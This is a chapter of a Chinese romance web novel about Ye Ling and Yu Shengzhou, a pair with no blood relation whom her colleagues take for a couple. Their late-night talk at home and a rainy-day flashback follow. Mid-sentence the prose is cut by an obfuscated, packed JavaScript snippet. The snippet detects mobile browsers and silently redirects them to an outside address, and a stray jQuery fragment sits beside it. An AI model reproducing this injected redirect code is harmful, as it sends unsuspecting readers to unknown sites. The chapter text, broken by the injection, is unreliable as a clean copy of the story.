“楼下那个是你家里人?夜老师,那是你哥哥吗?”
“那个帅小伙子?夜老师,你哥哥结婚了吗?有没有女朋友?你们家还有什么人啊?”
夜聆唇角的弧度消失,面无表情地开口,“他不是我哥。”
“啊?”问话的中年女老师顿住,“什么意思?”
夜聆很认真地说道:“我们没有血缘关系,也不存在任何亲缘关系。”
有人反应过来,恍然大悟,“原来是夜老师的男朋友,不好意思啊,是我们误会了。”
长这么帅的朋友,当然是留给自己的,不是亲人那就只能是男朋友了。
夜聆正要开口,听着大家的道歉,解释的话语止在嘴边。
这个时间已经不早了,或许是看了成绩出乎意料的原因,又或许是“哥哥”变“男朋友”,这个话题很容易引起兴趣的原因,大家的精气神都提了起来,下楼的时候还在说说笑笑。
余笙洲在一群人里精准的找到夜聆。
谢杭越还在手机那头说话,“你到底怎么回事,去还是不去,大家都去,你不去不合适吧,还是你害怕见到……”
谢杭越的最后一句话还没说完,余笙洲只撂下一句,“有事,回头说。”就挂断了电话。
余笙洲明显察觉到大家投递在他身上的视线过于炙热,有几个甚至凑在一起小声说话。
夜聆走到余笙洲面前,见他目光不解,抓住他的手腕,嗓音轻柔,“走吧。”
余笙洲身体微僵,从回来到现在,夜聆还是第一次用这么温柔的语气跟他讲话。
实在是让人很不习惯。
有同事没忍住打趣,“夜老师,男朋友这么帅气,不给大家介绍一下。”
“这么晚还来接,感情真好啊。”
“喝喜酒的时候可要记得叫我们。”
这下不只是余笙洲僵住,夜聆自己也呆住了。要是再不走,等会儿怕是连孩子的满月酒他们都要想好。
夜聆见余笙洲还在愣神,拉着他离开。
长得好看的人走在一起,总是容易引起关注。
这个时间加班的人差不多都出来,在校园里看到这么养眼的一幕,不免多留意一会儿。
很快,夜老师有一个帅气男朋友的事传开。有人甚至拍了照片,在群里疯传。
到这个年纪,形形色色的人见过不少。
且不说余笙洲光是站在那里,通身的气质就能看出肯定是个优秀的年轻人,再说夜聆这段时间在学校里的表现,也能猜出她的家境定然不一般,不然也不会养出这么内核强大的姑娘。
学校里不管是想追夜聆,还是想把夜聆介绍给亲戚侄子的人,霎时都歇了心思。
……
出了校门,夜聆松开拉着余笙洲的手。
余笙洲垂下眼眸,看夜聆拿起手机,指尖的屏幕上快速点击。
夜聆回完群里林初尧和沈云曳的消息,扭头看向余笙洲,“不是来接我的?”
余笙洲嗯了声,顺势牵住夜聆的手腕往前走。
夜聆反应了一拍才跟上,眸光看着余笙洲落拓的背影,捏紧了指尖。
回到家已经过了零点,夜聆正要上楼,余笙洲在后面叫住她,“刘阿姨留了饭,吃点。”
晚上吃的那点东西早就消化,夜聆的手下意识摸向肚子。
“我换身衣服下来。”
余笙洲看着夜聆的背影消失在楼梯口,转身去了厨房把粥温上。
整个客厅都没有开灯,只有厨房留了一盏。
夜聆下楼,看到昏昧的灯线下,男人身形优越,黑色的衬衣袖子挽起在手肘处,小臂肌肉紧实有力。
男人倚着岛台,眉眼低垂,侧脸轮廓流畅,薄唇似轻抿着。
夜聆不由自主地放慢了脚步,在离他不足一米的距离站定。
灯光落在脚下,似是将两人的脚腕缠在一起。
余笙洲抬眸,扭头看过来。
夜聆往前走过,侧身与他错开。
走动间,夜聆的裙摆拂过余笙洲的西装裤脚,旖旎暧昧。
夜聆端着粥往餐厅走,回头见他还在,问道:“你也要吃?”
余笙洲喉结滚动,默了默,走到夜聆对面坐下。
夜聆挑眉,“要吃自己拿碗。”
“我不吃,留给你的。”
余笙洲似乎有些疲惫,没了往日正襟危坐的模样,靠着椅背,整个人透着几分慵懒,眼神望过来时,像一只在勾人了狐狸。
夜聆敛眸,捏紧了调羹,开始吃饭。
余笙洲看了夜聆几秒,拿出手机。
寂静的夜里,两人相对而坐,竟然平添了几分静谧美好。
夜聆吃完才发现对面的人没走,她起身的同时,余笙洲也抬起了头。
夜聆把碗勺清洗干净,转身时余笙洲就站在厨房门口。
夜聆洗了手走过去,因为吃饱,连带着心情都很不错。
“有事跟我说?”夜聆关了壁灯问他。
霎时间,只余窗外的月色投进。
越是安静,细小的声音越是放大,五感也越发灵敏。
空气中飘散着一股淡香,是刘阿姨放在夜聆房间的香薰。因为余笙洲回来,刘阿姨也给他房间里放了一份。
是以,便会有一种两人很是亲近的错觉。
“阿姨说你失眠,我认识一个中医,明天有没有时间,一起去看看。”
“一起?”夜聆捏了捏酸痛的手腕,身体微微往前倾,“你也失眠?”
余笙洲下意识抬手,夜聆很有分寸的停下,他刚抬起的手也顿在半空,喉咙紧了紧,“之前压力太大,有过一段时间。”
余笙洲的声音很好听,像沙砾划过,低沉醇厚。
夜聆眉梢微扬,琥珀色的瞳眸在月色的映照下散发着柔光,清透柔美,眼底闪着细碎的光,像是落入凡间皎洁的精灵。
余笙洲垂着脑袋,顿在半空的手握成拳。
下一瞬,香气骤然消失。
夜聆点了点头,往后退了一些,“不用,我已经好了。”
余笙洲攥紧了指尖,嗓子发涩,“夜聆……”
“有什么事明天再说。”
夜聆转身时拍了拍余笙洲的肩膀,语调随意,“晚安。”
余笙洲站在原地,等夜聆的身影从楼梯口消失,他卸下浑身力气,靠在岛台上,抬手揉了揉眉骨,疲惫感席卷全身。
自从夜聆搬回家里住,余笙洲每到晚上都很难入睡,只能把时间都用来工作。
在饭局上看到孟听禾发来的消息时,他下意识就先离开,可是出来之后又不知道自己能做什么。
他没有资格,也不敢去问。
直到姜雪檀把电话打到他这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363438|168131||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,他才终于有了一个来见她的机会。
在楼下等人的那几个小时里,他想了太多。
她讨厌自己,是那么明显。
就算这个是假的,她以后也会交往其他的男朋友,可能还会结婚。
余笙洲不敢去想那个画面,夜聆会穿着婚服和别的男人步入婚姻的殿堂。
……
夜聆把仅有的一把伞借给了别人,手机被摔坏开不了机,余笙洲也不知道去了哪里。
无奈之下,她只好将书包护在头顶,跑进大雨里。
衣服很快被淋湿,被大风吹倒在地上的树枝划伤小腿,雨水落下,密密麻麻的痛,头发一缕缕粘在脸上和脖子上,夜聆很快变得狼狈。
看到不远处站在廊下躲雨的余笙洲,夜聆满是雨水的脸上牵起一抹笑,朝那边跑过去。
因为背着外面,余笙洲并没有及时发现夜聆的靠近。
“是,我讨厌夜聆,那又怎么样?”
“她把你当一条狗一样使唤,你竟然只是讨厌,不想报复吗?”
“我没那么下作。”
巨大的喜悦在瞬间化为泡影,被雨水吹散,很快消失。
双腿像是灌了铅,怎么也迈不动,夜聆看着那道清瘦的背影,心底涌上浓烈的恨意。
这段时间爸爸总是忙到很晚才回家,妈妈也是早出晚归,已经很少和他们一起用餐。
家里的气氛明显不对,夜聆知道自己帮不上忙,却也只能干着急,她能做的只有照顾好自己,照看好余笙洲。
多么可笑啊。
一个平时冷淡到连多说一句话都觉得浪费的人,竟然会说这么多刀子上带着血的话。
余笙洲对面的人发现了夜聆,看过来的眼神透着挑衅。
夜聆认识他们,不止一次骚扰过她和沈云曳,之前被夜青棠送进去,没想到这么快就放出来。
余笙洲也终于转身,发现了台阶下的夜聆。
夜聆本来以为她会在余笙洲脸上看到心虚、害怕,可是没有,什么都没有。
他的神色依旧淡漠。
怎么能心安理得成这样?
夜聆什么也没说,视线冷静地在余笙洲脸上停留了几秒,转身又走进雨里。
……
晨光熹微。
夜聆看着天花板,良久,才掀开被子下床。
自从上次之后,姜雪檀就不再管她晚起,慢慢悠悠地收拾好下楼,刘阿姨把温好的早餐拿出来。
“音音,你和小洲昨天晚上几点回来的?”
夜聆舀了一勺粥,懒懒地说道:“快两点。”
“哎呦,这也太晚了,太太给小洲打电话的那会儿才9点多。”
刘阿姨絮叨说完就离开了餐厅。
夜聆手微顿。
9点。
昨天晚上,他想说的是什么?
夜聆吃完早饭就上了楼。
傍晚夜青棠和余笙洲从外面回来,刘阿姨告诉他们夜聆下午就出去了,还说晚上不回来吃饭。
夜青棠看向余笙洲,嗓音平和,似乎只是长辈一句平常的询问:“你和音音是不是闹别扭了?”
余笙洲指尖攥紧,声音有些低,“没有。”
夜青棠看了他好一会儿,才收回目光,漫不经心地说道:“音音被我和你伯母惯坏了,你是哥哥,要多担待些。”